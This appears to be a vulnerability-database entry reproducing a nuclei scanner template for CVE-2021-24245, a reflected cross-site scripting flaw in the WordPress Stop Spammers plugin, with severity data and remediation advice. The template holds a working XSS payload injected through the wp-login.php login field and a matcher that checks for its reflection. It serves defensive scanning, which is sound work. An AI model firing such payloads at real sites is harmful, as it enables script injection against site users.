Lucene search
K

WordPress Stop Spammers <2021.9 - Cross-Site Scripting

🗓️ 09 Jul 2026 03:01:09Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 33 Views

WordPress Stop Spammers plugin <2021.9 Cross-Site Scripting vulnerability with potential data theft and unauthorized actions. Update to 2021.9+ to fix

Related
Refs
Code
id: CVE-2021-24245

info:
  name: WordPress Stop Spammers <2021.9 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
    - https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24245
    - http://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24245
    cwe-id: CWE-79
    epss-score: 0.05721
    epss-percentile: 0.92133
    cpe: cpe:2.3:a:trumani:stop_spammers:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: trumani
    product: "stop_spammers"
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,packetstorm,trumani,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Stop Spammers Spam Prevention'
          - 'Tags:'
        condition: and

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check;

        log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "ad\" accesskey=X onclick=alert(1)"

      - type: status
        status:
          - 200
# digest: 490a0046304402205db02f63f767c43b39e153e8532513f71f90ea47a7f00aba727a0ccd7160aba0022020b0728829c8fb7520e2cba57bc7a2d4b884a352a733edcad359f2d5af337494:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.1
EPSS0.05721
33